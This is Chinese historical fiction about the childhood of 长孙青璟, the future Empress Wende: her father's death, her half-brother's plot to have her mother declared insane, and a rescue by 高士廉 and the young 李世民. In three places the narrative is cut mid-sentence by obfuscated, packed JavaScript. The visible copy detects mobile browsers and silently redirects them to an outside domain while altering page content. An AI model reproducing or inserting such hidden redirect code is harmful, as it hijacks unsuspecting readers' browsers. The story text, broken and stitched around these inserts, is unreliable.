《广夏:文德皇后》 1. 弥留 这是一个普通仲春的清晨,长孙青璟趴在花园水池边,静静地观察一只笨拙的水虿摇晃着、颤抖着抓住一根水面上浮动的枯枝,慢慢地攀上最末端,倒挂着蓄力。 她的兄长长孙无忌凑过来,看看妹妹,又看看水池,撇嘴说道:“这只水虿有些蠢,算错了羽化的日子又不肯回水里去,大概活不了了……” 保姆与母亲高氏大概觉得小郎君与小娘子如同乡野孩子般在水边观虫得趣甚为不妥,便准备将二人提回凉亭中。 侧倚在腰舆上的一家之主长孙晟却对两个孩子的失礼举止不以为意,摆摆手令保姆后退,让妻子回到自己身边。 在疾久不瘳、药石罔效的尘秽之晷中,暮年的右骁卫将军也不免生出一颗童真之心。他招呼子女近前,听兄妹两人争论着水虿的生死。面对认死理的儿子无忌,长孙晟以手掌在空中比划模拟着飞翔的蜻蜓,说道:“说不定水虿今日化为蜻蜓,明日便高翔云中。无忌,你可不要小看它。” “可是它羽化的时机就是不对……”年少的郎君不为父亲的玩笑所动,坚守自己的信念。 “哼,水虿的背已经裂开了一道缝。”长孙青璟不服气地撅嘴,高高扬起的下颌预示着她要与兄长争论到底,“它早晚——它早晚变得与它们一样!”她伸出手指,当空一划,便有几只雄鹰在她头顶振翮而过。 说完这句话,女孩也突然愣怔了一下——父亲也正在凝望这些通灵的生物。 “莫不是来接我回到赵代之地?”长孙晟喃喃自语,又捏了捏幼女被池水沾湿的红润的手指,“今日便不再陪你们玩闹了。” 众人点头。长孙青璟也觉得父亲能够来屋外的时间越来越短了。 这一天的大兴城上空盘桓的苍鹰格外多,它们长鸣,它们翔集,它们蛰伏,它们等待。 这画面清晰得如同萧绎传世的卷轴,在长孙青璟的面前缓缓展开。 大业五年,长孙青璟八岁。 这是她记事以来最忙碌的日子,皇帝亲遣的慰问使节与医官,内史省的起居舍人,同族亲眷,门生故旧接踵而至。她时常只能跽坐在内室的重幔之外,听着病重的父亲喁喁低语。 “远交近攻,离强合弱。望使君传语天子,对待突厥切记恩威并施……当年在边地时与先皇的书信,我已奉敕凭记忆重写了几份。年老力衰,错漏百出,舍人见笑,唯望有助于朝廷和内史省。” 在父亲几声揪心的咳嗽和使者沉重的叹息之后,年幼的长孙青璟敛衽而起,急欲冲进帷幔之中,却被同母兄长长孙无忌拉回茵褥之上。对于生老病死,他们是无力的,似乎除了枯坐别无他法。 数头苍鹰在他们头顶盘旋,留恋而又凄然。蓦地,兄妹俩想起父亲、母亲还有异母兄姊们无数次提及的关于代北的传说——英雄不死,只是暂时化作了雄鹰。 两个孩子就这样愣怔地看着如拭的晴空渐渐地笼上阴霾,长孙青璟甚至看到烦躁的长孙无忌徒手向眼前抓取什么东西。是的,阴暗如笼,如网,如秋日荒原里抟扶摇而上的枯枝败叶。十多岁的男孩总是幻想自己无所不能,能够拨开这些阻挡他的东西,还未来一片清明澄澈。 “都进来吧!”亲自送使者离去后,母亲高氏与伯父长孙炽、异母兄长长孙安业招呼兄妹两人进入内室。长孙青璟的父亲——五十八岁的右骁卫将军长孙晟正倚在病榻上,精神似乎比之前好了不少。孩子们一时也弄不清大限与回光返照的区别。长孙青璟甚至单纯地觉得这又是一次大惊小怪的“偶感风寒”事件,也许过几日父亲又会精神抖擞地带着全家去终南山打猎、探险、小住。 屋子里充斥着御赐的草药、异域的熏香、厚重的纸墨混合的味道。长孙晟把胸中筹谋的外交方略尽数托付给使臣,直到再也想象不出一贯被他玩于鼓掌之中的突厥会变成什么危险的模样,才安心与使者执手话别。他坚信史册多少会为他留下只言片语。于公也没有什么遗憾了,于私虽不对寿命心存侥幸,但他仍然希望自己能够公正对待在两次婚姻中先后出生的子女。 妻子儿女悉数坐在榻前。长孙晟打破了众人的窘境:“兄长仲光在此,为我的身后事做个见证——你们,都不要任情纵性。”他示意长孙安业向前。安业长跪在榻前。父子一时相顾无言。 于宗祧继承人的角度来讲,命运跟长孙晟开了不止一次玩笑。他与前妻育有三子,长子长孙行布不论待人接物、行军布阵都酷似自己,可惜在汉王杨谅之乱中战死。次子长孙恒安在鹰扬校尉任上也可圈可点,却不幸在与室韦之战中捐躯。三子长孙安业天生一副三寸不烂之舌,简直集纵横捭阖的气魄与钻营奔竞的手段于一体,竟让父亲看不清究竟是福是祸。 弥留之际长孙晟也只得坦诚以告:“有时候,我想求章仇太翼给你看看相,又因他的谶言实在太过灵验,我怕听到难以承受的结果;有时候,我又想效仿贺若敦,找个锥子扎烂你引以为傲的三寸不烂之舌,可对于自己的血脉,也实在下不去手。”长孙安业惊异地看着父亲,不知如何说些宽慰他的话。 长孙晟却“哼”了一声道:“志大才疏难免平添祸端,你不如收束一下与能力不匹配的野心。”然后,方才还趾高气昂的父亲突然一脸恳求:“你记着,我的葬礼不要逾制……勿忘祭祀祖父母。四时记得刈除你两位早逝兄长清理墓边杂草。也替我照顾好你母亲和未成年的弟弟妹妹。快发誓!” 长孙安业回头匆匆瞥了一眼十三岁的弟弟和八岁的妹妹。继母高氏觉察出继子那转瞬即逝的不悦。 “好。”儿子安业发誓好生照看母亲与一双弟妹。若违此誓,愿堕入拔舌地狱。”他的承诺大概也确是出于真心,只是与继母心中的定义不同。不过此时,至少在父亲、伯父和弟弟妹妹看来,这个异母兄长并非寡情薄义之人。 长孙晟满意的点头,将幼子无忌叫上前来:“取我刀架上的突厥金刀来。”少年因数月为父担忧而显得清癯。此时也意识到父亲正与众人诀别,便一扫萎靡,郑重地抱着金刀来到父亲面前,将其置于榻侧,又扶起歪斜的父亲。 长孙晟眯着眼抽刀赏玩了片刻,将刀入鞘,郑重地递给儿子,问道:“知道这把刀的来历吗?” 少年点头道:“知道,是突厥可汗仰慕父亲一箭双雕神技而赠与父亲的。” “现在它属于你了。”少年迟疑了一下,将金刀抱在怀中,左顾右盼之后,又暂时把刀放在身侧,随即郑重地向父亲跪拜。 长孙无忌搜索枯肠,他想告诉父亲,他一定会青出于蓝,光耀门楣,乃至出将入相。他想要完成太多的身为右骁卫将军之子的使命让眼前弥留的父亲安心和高兴。但是命运大概不愿意多给他一分向父亲证明的时间了。 他觉得身侧有一道寒光迫近,直觉告诉他那是性格阴晴不定的兄长并不友善的鹰窥鹘望。长孙安业年近而立,而长孙无忌在兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“从前,中夏有一位少年英雄,立志要击败气焰嚣张的北虏。恰逢两国和亲,少年便担任送公主和亲的使者。一行人经历千难万险,终于来到王庭。北国的可汗看不起中原的使团,处处刁难嘲笑他们。可汗与公主的婚礼上,两只大雕掠过天际。可汗拿着两支箭,指着盘旋的猛禽对送亲的使团说:‘不知谁能射下这双雕?’可汗本以为中原尽是怯懦之人,意欲好好羞辱使团一番。谁料少年应声而起:‘愿为可汗助兴。’随即接过一支箭,抓住两雕相攫的时机,一发双贯,引得道贺的各国使节啧啧称奇。少年从此成为北境口耳相传的英雄……” 激越的琵琶声戛然而止,故事里的少年永远是年轻英武的模样。长孙青璟伏在父亲胸口,看着父亲微笑着入睡。“后来,少年远行去了很多地方,他看见过奔腾的牛羊,连绵的大漠,碛北的赤气,五色的天光……” 英雄确实死的恰逢其时,一则国家蒸蒸日上,无须殚精竭虑修补大隋这艘即将千疮百孔的龙舟;二则家族兄友弟恭,无须处心积虑弥合彼此仇视的儿子之间的关系。至于那些穷尽南山之竹写不完的罪孽,东海波涛洗不尽的恶行,那些长安东都街头巷尾谈论的笑柄,孤儿寡母令人嗟叹的命运,那都是另一个时代的故事了。 高氏拉着子女的手步入中庭,家仆奴婢们略带夸张的悲戚哭声次第响起。停驻许久的苍鹰感应到灵魂的存在,被远遁的魂魄牵引着振翮排云而上。 正堂的屋顶上,长孙安业手持父亲的礼服,家仆拿着巨大的招魂幡,任这些布帛在空中招摇、飘荡,然后声嘶力竭地呼号着:“魂兮归来——魂兮归来——” 长孙青璟全神贯注地注视着天空,那些苍鹰再也没有回来。那个弓如霹雳,马如闪电的年轻人和属于他的意气风发的时代落幕了。 2. 诡道 葬礼有条不紊地进行着。初终、复、设床、奠、沐浴、袭、饭含、赴阙、敕使吊、朝夕哭奠、宾吊、亲故哭、到墓、陈明器、下柩哭序、入墓…… 长孙青璟被套在一个硕大的斩衰袋子里,在司礼的命令下嚎啕大哭、捶胸顿足,跟随母亲向吊唁的宾客致意。葬礼是一个半隐蔽半公开的社交场所。大家在感伤之余谈论起新征的徭役、宏伟的龙舟,宽阔的运河、飞檐反宇的行宫,处处地上天国,处处汉官威仪。 在一团悲伤白色的漩涡里,在一片生荣死哀的光华里,长孙晟的亲友故旧开始谈论这个即将攀爬巅峰或者陷入癫狂的新时代。 吊唁的宾客里,九品治礼郎高士廉因状貌若画而引来窃窃私语。他是年轻的主母高氏的兄长,父祖是齐神武帝高欢的同族。饶舌多事的贵妇们开始打听这位年轻英俊阿舅的婚配情况,持重的官员则向长孙家的亲戚问及他的郡望,任职甚至背后贵人,以期匹配合适的政治资源。 “高俭,渤海人,字士廉。大业三年进士。兵部尚书斛斯政的座上宾。”好事者已经将这位阿舅的平生调查得清楚无误。 “已经娶妻,是鲜于家的女儿。” 斛斯、鲜于、高——这三个姓氏放在一处很容易让祖居大兴城的人产生一些不太舒服的联想。有些人,因被排挤而抱团,因抱团而更被排挤。 “哦,东人啊!”“齐魏之人,与我们不同。”当然,排挤他们的人只会觉得他们可憎。当年轻有为的郎君们不能成为自己仕途经济的一部分时,宽仁者企图无视他,狭隘者甚至选择毁灭他。 高士廉并不在意那些暗处的非议、叹息。他默默地拉着疲惫的外甥与外甥女去中庭稍作休息。耳边却飘过长孙安业与伯父长孙炽、叔父长孙敞的低语:“……只是母亲神思恍惚,恐怕……当然,叔伯勿忧,我定会照拂他们……” 高士廉心生疑窦,妹妹的这个年龄相仿继子平日与继母虽算不得水火不容,却也淡漠至极,此刻突然在其他长辈们面前关心起继母来,真是奇哉怪也! 他当然希望自己的亲外甥无忌成为长孙氏冢嫡,成为宗祧继承人,他也知道妹夫喜爱聪明伶俐的小儿子,甚至在弥留一刻放弃了以突厥金刀陪葬的想法,而将金刀赠与幼子。理想中的继承人太过年幼,母族势单力薄;而现实中的继承人虽然足够年长,母族妻族可以提供足够的支持,却不甚令人满意。 高士廉直视着这个家族的三个权势人物,长孙炽与长孙敞坦然与高士廉拱手示意,长孙安业的眼神却是游移和闪躲的。也不知是一贯的不屑而顾,还是耻于与高家为伍的刻意闪躲,或是满腹诡计被撞破的尴尬掩饰。 葬礼已然结束,白色的漩涡散尽,人情世故暂停,等待长孙家的是二十七个月的死寂。 居丧期间,高氏提议让出正寝,被长孙安业夫妇拒绝。宗族长辈虽然知晓继子与继母在长孙晟生前暗中有不少龃龉,但毕竟继母在丈夫临终之时没有披头散发不管不顾地诋毁长子为幼子夺取一家之主的位子;继子也未在父亲一去世就摆出一家之主的嘴脸视继母弱弟为不足——体面人办体面事,在家中一切从旧,一如长孙晟在世之时。 在死水一般的丧期,高氏偶有头痛,往往被安业之妻杜氏大肆渲染成思念丈夫所致。她对这个所谓儿媳越俎代庖的举止略微有些不满。但是有人感慨未亡人对于亡夫的追念似乎并无不妥。 “母亲今日越发恍惚,需要延请医生吗?”高氏在一堆账册中抬起头,觉得杜氏近来殷勤过头了。不过自己确实有些乏了。 近日的夜里经常听到鸱枭的哀嚎。高氏数次惊觉。只是与乳母一起入睡的长孙青璟与长孙无忌却并未听到异响。家仆与高氏的贴身侍婢也直言夜晚并无可怖声响。继子长孙安业听闻后也带着数个身强力壮的家奴在黄昏之时将家中角落系数检搜。 “难道是错觉?”高氏产生了强烈的自我怀疑。 长孙府上主母发癔症的传闻很快在坊里间传播开来。 一个午后,长孙青璟抱着白鹅在抄手回廊里蹦跳,突然觉察自己正在丧期,行事需要比平日稳重一些。便将白鹅随手放于池边。自己款款而行,学着做一个母亲那样仪态万方的淑女。 水榭里传来兄嫂的闲聊。 “她的堂叔伯确实是一群疯子,白纸黑字记着呢!一家子疯子,不会有例外。”长孙青璟听到兄长讥诮的声音。 “但不代表她也是疯子!你准备如何向证明她的疯癫!”杜氏反驳道。 “快了快了。她会自己会证明。”长孙青璟听到了兄长诡秘的,胜券在握的笑声,“疯不疯,需要你去找什么证据,她自己会跳出来伤人!” 八岁的女孩子听不懂兄嫂在谈论谁。她只是听四哥无忌说,为父居丧的儿子不得出仕,宴饮,打猎,甚至连双陆棋也被禁止……无怪乎无聊的安业居然开始和杜氏一起嚼人舌根。直觉告诉她安业对于即将发疯的那个“她”毫无怜悯之情,只有幸灾乐祸。 白鹅悠然地在池面上划出一道碧痕,蓦地,它像看到什么可怕的景象一般,在池面兀自鸣叫、扑打翅膀挣扎。偌大的、澄澈的湖面上,白鹅与并不存在的恶灵缠斗了许久…… 高氏开始觉察了居丧的种种异常。她喜欢清净,有时会将贴身婢女遣走后独自休憩。两个孩子被兄嫂嘱咐对母亲晨昏定省即可,切不可搅扰母亲。 一切安排都是那么合情合理,无懈可击。而一切的安恬又如同镜花水月一般没有温度,不得触摸,暗藏杀机。 一个秋日的午后,高氏刚醒来就看见了枕边的蝎子,婢女匆匆赶到之时,蝎子已远遁不见踪影。 陆续几日,高氏发现橱柜中飞出了流血的鸱鸮,在花枝烛台下盘踞着伺机而动的长蛇,回廊里飘过莫可名状的鬼影…… 只是,家仆们将高氏住处每一寸土地细细翻过后也没有发现高氏所描述的诡秘物什。她怀疑自己魔怔了! 从奴仆到子女都怀疑高氏癔症发作。高氏迫于流言,将田产、房舍的账册暂时交给杜氏。 长孙安业延请叔伯到府,又将年幼的弟弟妹妹叫上堂来。与医生一起商议母亲的病情。医生只是叹息,并建议让主母去别院修养。他再三叮嘱将孩童与母亲分开,以防不虞。 长孙青璟约莫听懂了他们的话:母亲因为思虑过重有些疯癫的征兆,目前只是眼见幻象,若不加以调养恐怕会伤到亲近之人。所以母亲需要离开他们一段时间。已经与父亲“死别”的孩子一想到马上将与母亲“生离”,禁不住撕心裂肺地恸哭。 “我阿舅呢?我阿舅知道我阿娘病了吗?”长孙无忌盯着一屋子同姓长辈,犹疑地问道。常识告诉他母亲病了,确实无法持家;直觉却告诉他,母亲被人恶意中伤,需要一个全心保护她的人。而自己恰好缺乏这种能力。 长孙安业平静地说:“士廉阿舅陪同兵部尚书去东都公干,一时无法回西京。我已遣人去东都告知他阿娘的病情。至于你外祖母那边——我与叔伯们商议了许久,还是决定先不告诉老人家,万一吓出好歹来,倒是长孙家的不是了。” 面对叔伯和异母兄长的共同决定,小郎君只能遵从而没有资格反驳。当兄妹俩再次回到母亲的正寝时,母亲已经不见了踪影。贴身的婢女有些忧伤地告诉兄妹:“三郎与杜娘子嘱托先将高娘子送去西北角的别院,明日请僧道来家中施‘敕勒之术’,看看娘子的神志是否能恢复。” 转眼之间,高氏由悲伤到思虑过重,由臆想到神志混乱,从癔症到疯癫。似乎有一双无形的手步步为营,想置高氏于死地。来到西北院,家仆奉长孙安业之命将兄妹俩送回;来到正门,方才知道兄长已经将俩人禁足。 长孙无忌逼迫自己冷静下来。身边的人也许都是异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“快看!那不是小郎君的白鹞吗?”修剪树木的家丁询问孩子的乳母。 妇人不屑地摇摇头:“看着不像,倒像是仙去的府君养过的那只。” 家丁很不服气:“府君那只白鹞大很多,小郎君这头好像没成年。依稀记得是个姓李的小公子送的。府君生前还挺喜欢那个小公子……” “这阖府上下就数你这穷措大见识最广,记性最好。”乳母在长孙安业的贴身部曲急匆匆跑过中庭时故意岔开了话题。 两个孩子迎向现在唯一可以信赖的乳母,乳母挽起长孙青璟的小手,将一张字条留在孩子掌中。两个孩子在僻静无监视之处展开了母亲从被软禁之处设法传出的讯息。 这是一个死寂的下午。 黄昏时分,长孙府东院突然失火,长孙安业带着众人前去救火。两个孩子兀自在火势蔓延不到的西院看书。乳母从刀架上取下金刀交给无忌:“东院的库中存放着皇帝的赏赐,三郎是决计不敢疏忽的。小郎君快设法带着母亲离开吧!” 长孙无忌带着长孙青璟来到母亲新住处,果然看守的奴仆近皆扑火去了。为防逃脱,门已经上锁了。兄妹俩都醒悟过来:这是长孙安业精心布置的骗局,荒唐至极却又天衣无缝。他利用父亲的死,向每一个亲友述说继母因悲伤而染上臆症的悲剧;他利用婢女对于脱去奴籍的渴望,制造了种种继母疯癫的证明;他利用幼弟幼妹对母亲发疯的恐惧和对长兄的依赖,差点成功隔绝了血脉相连的母子之情。 十三岁的少年以全部的阅历和勇气说出了惊心动魄的真相: “观音婢,青璟,这里不再是我们的家,正厅里端坐的郎君不再是我们的兄长。我们要离开这里!以后就由我来照顾你和母亲!”少年拔出了腰上的金刀,郑重地决定着,承诺着。然后,手起刀落,铁索迸溅着火星被分成了两段。 他等不及白鹞找到那个唯一可以蹈火而来的挚友了! 这是第一次,他决意成为一把刀。 3. 新生 长孙无忌收刀入鞘,踉跄着扑入废弃多年的屋子中。 “阿娘——”长孙青璟扑入虚弱的高氏怀中。失而复得的欣喜吞没了三人。高氏抱着一双儿女,泪如雨下。远处是凶猛的火势和众人的呼号。高氏挣扎着站起来,一边回忆一边厘清了前因后果:“那个贱婢,一定被安业和杜氏所收买,对我撒谎、栽赃、下毒……” “日后再与他们算账。”无忌搀扶起母亲,“母亲的字条我们看到了,一切依照母亲的主张。现在,我们赶紧趁乱逃走。到了舅父家中再从长计议。我定要将此事弄个水落石出。” 三人小心翼翼地在自己家中穿行。长孙青璟突然指着一团飞扑而来的黑影大叫:“不好,我们被发现了!” 长孙无忌又一次拔刀相向,哪怕那是兄长本人,也休想伤害母亲半分。一时间,惨叫、鲜血、乱羽在这个混乱的、火光冲天的黄昏构筑了一场残忍、诡秘,让人竭力逃避又无处遁形的成人礼。 他大口喘息着,靠近那个半死不活的怪物,用脚尖挑起肚皮,才发现是虚惊一场。 “妹妹,对不住了,我误伤了你的右军鹅。想来是火灾惊吓到它了……”他庆幸自己未曾杀人,他害怕鲜血灌溉的成长。 长孙青璟没有时间去思考发生了什么,只是觉得母亲浑身冰凉,气若游丝。年幼的孩子弄不明白大宅之中的波云诡谲,但她知道,离开了就不再回来,冥冥之中也有一把金刀硬生生地切割了往昔与未来。 火势似乎得到了控制,劫后余生的浓浊的黑烟开始取代吞噬一切的烈焰。 “阿娘,我们快到门口了!”身形略显单薄的长孙无忌背起高氏,决意在暮鼓敲响时离开永兴里。天地之大,想来自有他容身之处。他可以忍受饥恶贫穷的窘迫,甚至闪现过上战场一搏功名的念头,唯独不愿意眼睁睁看着母亲蒙受不白之冤,也不愿在亲故异样的目光里苟延残喘。 他的骄傲驱使他要带着妹妹长孙青璟和母亲高氏离开这个不愿再庇护他们的家。 两条虎背熊腰的彪形大汉却挡住了年少郎君的去路。“郎君有令。太夫人,小郎君与小娘子均不得擅自离开府邸!” “放肆,我已成髻,去何处不去何处还轮不到你这家奴胡言乱语!”无忌放下母亲,令孱弱的妹妹用尽胸口和双臂全部力量撑住母亲。他向二人耳语道:“我缠住这两个安业的爪牙,你们勉力冲出去,坊里间耳目众多,只待我大叫兄长不孝不悌,凌虐母亲与幼弟,想来安业恐生事端,也不敢当街抓我们回去!” 三人商议已定,也别无良策了。长孙无忌拔刀直指长孙安业的爪牙:“我是府中小郎君,你们的主人!谁敢伤我半分!” “郎君休怪我等无礼!”把守大门的家奴丝毫未将无忌放在眼里。长孙无忌的全身颤抖着。他已经没有后路。如此今次不设法一搏,只恐明日他便成为安业口中悖乱的弟弟,加上之前已被中伤发疯的母亲,柔弱到根本无法自保的妹妹也一定会变成生性乖张、倚仗异母兄长宽容苟活的顽劣少女。他们,将被家族彻底抹去,丝毫不会有一点舆论的波澜。 他握紧刀把,设想出对方的千百种招式及自己的拆解之法。也许对方只想将他们三人擒回邀功,并不打算下死手。而他,却必须一击致命! 他计算着刀刃劈砍的方向、速度、最佳的距离与两人同时周旋着。对方也步步为营一边设法逼他进入死角,一边警惕着母女俩的动静。 少年执起了刀,手腕旋转到最合适的位置,准备用鲜血来祭奠成长。忽然听得“砰”“砰”两声闷响,两个爪牙应声倒地,血流满面。 “高先生,我们差点来晚了!”敞开的大门外,一个手执弹弓的十二岁少年坐在高头大马上,与前来搭救妹妹与外甥的高士廉戏谑道。少年身材与成人无异,扎着黑色幞头,额上覆着红色额巾,以示自己的武人身份。但是与真武人比,他藏在胡服之中的真实身形又略显单薄。最致命的是他一开口就是清脆稚气的河洛雅言,暴露了未成年的身份。否则,这身行头与矫捷的射术倒也能够虚张声势一番。 “毘提诃!李世民!我就知道你一定会来救我们的!”长孙无忌望着挚友,有一种绝处逢生的狂喜。 “兄长!”高氏虚弱又惊讶。 “舅舅!”两个孩子发出了劫后余生的呼号。 闻讯赶来的长孙府部曲与高士廉所率十几个健儿僵持不下,坊里间驻足的路人也不少。 长孙无忌扶起母亲来到舅父身边。少年跃下马,将随身大氅披在惊恐未定的长孙青璟身上,弯腰柔声说道:“你叫青璟,小名叫观音婢,是吧?我是你哥哥的好朋友毘提诃。收到‘校尉’的求救信,我就设法来救你们了。” 长孙青璟点点头,想努力装得镇静些,便吸了吸鼻子,又用沾染了烟尘的手指抹去眼泪,结果将脸也抹花了。女孩就用这脏兮兮的小手将乱发绾向脑后,然后双手伸向胸前平揖致谢。少年也惊得郑重还揖。 少年觉得这女孩故作镇定的样子很是有趣,想起白鹞所捎书信中种种凶险之处,想起好友母子三人度日如年的经历,不由生出怜爱之心,便抱起这小巧如狸奴一般的女孩,将坐骑让给她。 “治礼郎留步!”长孙安业在一众部曲簇拥下,企图阻止高士廉带着妹妹与外甥们离去。 “阿娘思虑过重,恶疾缠身,恐不胜舟车劳顿,还望治礼郎不要意气用事!”长孙安业巧舌如簧,掩饰着自己的罪状。 高士廉拱手道:“我母亲闻听妹妹不豫,心中惶急,乃至急火攻心,呕血不止,定要亲见到女儿和外孙、外孙女方才安心。此番前来,特意告知,高家虽只有几亩薄田,却也略可足用。从今往后,不劳长孙郎照拂我妹妹母子三人了。告辞!” 长孙安业对这番恩断义绝的宣言,一时竟目瞪口呆,所谓阳谋无解,大抵如此。 他本以为高家早晚会为了家产之事与自己闹个你死我活。谁知高家却以决绝和傲骨狠狠打了他一巴掌。 一切都结束了,以最不体面的最惨烈的方式。继母失去了当家主母的身份,幼子失去了世家子弟的继承权,幼女失去了显赫的家世和未来的嫁妆。 暮鼓响起的那一刻,众人已经回到立政里的高家府邸。高老太太与高氏母女重逢,恍若隔世,唏嘘不已。 高士廉之妻鲜于氏一边准备饭菜一边吩咐婢女为小郎君何小娘子沐浴更衣。 被长孙无忌唤作“毘提诃”的小公子看着一家子骨肉团聚,既插不进人也插不上话。 暮鼓声止,里门已闭,他也回不了自己家中。百无聊赖之际,他躲开受高士廉嘱托对他鞍前马后嘘寒问暖的高家奴婢,一个人静静地箕踞于正厅侧的回廊上。 如释重负的时候,他才觉察到指掌上磨出了数个老茧和水泡,便时不时揉搓一下缓解疼痛。门后突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041782|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然闪过一道绿色的身影,不久这抹绿色又回到他面前。 天上的星子零星地闪现,倒映在眼前女孩儿的眼中。“来,伸手——”长孙青璟摇着金创药的小瓷瓶坐在少年面前。 少年吃了一惊,老实地跽坐在长孙青璟面前。长孙青璟掰开他蜷曲的手指,细细地涂抹药剂,时不时学着大人的样子吹上几口气。 “毘提诃,你琵琶一定弹得很好吧?”青璟眨着眼睛拿起小瓷瓶比划了一下。 少年怔了怔,才发现青璟在拿他的小名开玩笑。“啊——不是那个弹琵琶的——”他想了想,决定不去破坏着恬静欢乐的气氛,故作惊讶地说道,“被你猜中了!我的琵琶技艺不输射术。” “我叫观音婢。”女孩用食指在少年掌心写下了自己的小名,“你可记住了?” “我记住了。”少年严肃地长跪起身,“毘提诃也是我的小名。我姓李,名世民,‘济世安民’‘辅世长民’的‘世民’。” “谢谢你救我们出来。那只白鹞是我偷放的。” “谢谢你的金创药。白鹞捎信后是我找到了你舅舅。” 李世民正了一下衣冠,将松垮的幞头束紧,掸去胡服领口的尘土,郑重地向青璟行了一个叉手礼:“安和好在,长孙娘子。” 长孙青璟也如法炮制:“安和好在,李公子。” 天上的星子愈加明亮,青璟的眼里盛满了光。“你的手还痛吗?” “药到病除,不痛了。”他承认自己有点逞强,不过心甘情愿。 女孩突然从袖子里将出两个核桃,放在他膝前:“我饿啦,又不想吃水晶饭。” 李世民哑然失笑,觉得这带着几分可怜,可爱,勇毅和狡黠的女孩甚是有趣,便故意逗弄她:“看好啦,我施法了。”他将两颗核桃置于掌心,使出蛮力捏碎了核桃壳。 青璟略略拍了下巴掌,便从李世民手中接过碎核桃。她轻轻剥除核桃壳,偷偷瞥一眼对方,挑出一块大核桃仁给李世民,又挑出一块大核桃仁给自己;剔出一块小核桃仁给李世民,又剔出一块小核桃仁给自己……一个认认真真分,一个老老实实接受,然后一起开开心心嚼果仁。 眼前这个仗义的少年身上有长孙青璟喜欢的苜蓿香。原野的清新的味道,夹杂着些许的阳光的细腻,些许的泥土的粗糙,这一切都让她充满了安全感。她忍不住膝行到李世民身边。两手松松挽住他的胳膊,认真地征询着:“你说,我这算是没有家了吗?” “也许我该信口胡诌哄哄她,告诉她舅父一定会待她如己出!”李世民脑海中竭力搜刮着溢美之词,口中却流淌出一段荒诞不经的预言:“等到无忌拜将封侯,等你成为诰命夫人,安业战战兢兢跪在你面前请求原谅。你的叔伯,堂兄弟,从堂亲戚们一定会为曾经的不管不顾后悔不已,捶胸顿足。至于你嘛——只管高高在上斥责他们就行了。” 长孙青璟噙着眼泪笑了。一天跌宕起伏的经历让她顿感劳累,脑中沉沉,眼前昏昏,不觉靠着那条并不健壮的胳膊假寐…… “小娘子——” “观音婢——” “李公子——” 家人与仆人寻找他们的呼喊声此起披伏,两个孩子却依偎着彼此在一起睡着了。在他们的睡梦里,和风淡荡,眼前是大片低伏的苜蓿草地,若有若无核桃奶香从草缝间泛出。 一切都显得真实又荒诞。 4. 余波 他们在一片嘈杂的漩涡中醒来。人影憧憧,烛光摇曳。高老夫人的絮叨与担忧,高氏失而复得的哭泣,鲜于氏对婢女失职的斥责,长孙无忌对单刀脱险的夸夸奇谈,高士廉对长孙安业恶毒计划绘声绘色的描述,一切都像汹涌的浪涛涌入长孙青璟和李世民的耳中,然后在他们脑中嗡嗡晕晕作响。 “我们高府上下的人都眼盲心瞎,手脚被捆了吗?这是在尽何种地主之谊?任由有恩于我女儿外孙的小郎君躺在此处无人照拂!”高老夫人的怒斥沉稳而又尖锐。 鲜于氏赔笑道:“家生们懒怠了,孩儿一定狠狠惩戒他们——且先请李家郎君入席,赏罚之事再议。” “也罢……”高老夫人点点头,然后向被众人意外吵醒一脸惺忪的世民致歉,然后邀请他入席。年少的郎君有一种救人于水火后众星拱月的错觉。 “那长孙安业果然奸诈非常,先是假意孝顺,然后伺机散布妹妹疯癫的流言,隔绝骨肉,陷害幼弟,只为独吞家产——”高士廉说得义愤填膺,恨不得将并不在眼前的安业挫骨扬灰。 高老夫人愤恨地捶了捶几案道:“阿俭,今晚不准提你妹妹那个狼心狗肺的继子。” “是是是……”高士廉接着说道,“所幸无忌令李家小郎君所送的白鹞传讯,李家小郎君闻讯疾驰到半道截住我,我才得知妹妹母子三人遭安业软禁……唉,我先前也是糊涂,还以为是小孩子危言耸听,谁料安业真是对继母幼弟下死手……” 鲜于氏咳嗽了数声,捅了捅高士廉。“好了好了,不提那禽兽不如的东西……”高士廉讪讪笑着。“一家团聚,有惊无险。李公子是我们高家的大恩人。” 经过高士廉和长孙无忌两人反复确认,先是高老夫人,旋即是高士廉夫妇,最后是高氏携子女连连向李世民长揖。年少的郎君除了在家祭祀时,哪里经历过这样庄重的场合,李世民只得在互揖、稽首、跪跽之间手忙脚乱地转换。 长孙青璟也学着兄长的模样款款来到李世民面前,以手加额,再拜叩首。李世民有些紧张,连连摆手:“不用不用,礼太重了。” “好啦好啦,妹妹你吓坏世民啦,再拜他就得为你准备‘六礼’啦。”女眷们掩嘴偷笑。高夫人拿起扇子轻叩了无忌的脑袋:“口没遮拦,太轻佻了,快去跟客人道歉。” 李世民突然回想起跟眼前女孩奇怪又妙趣横生的缘分。长孙府上火场边得救时的第一次对拜,高府中庭回廊上劫后余生的第二次对拜,以及在对方长辈兄长面前的第三次对拜。 面对长孙无忌插科打诨般的致歉,他的眼神有些闪躲,好像自己才是那个被高氏指责轻佻的人。 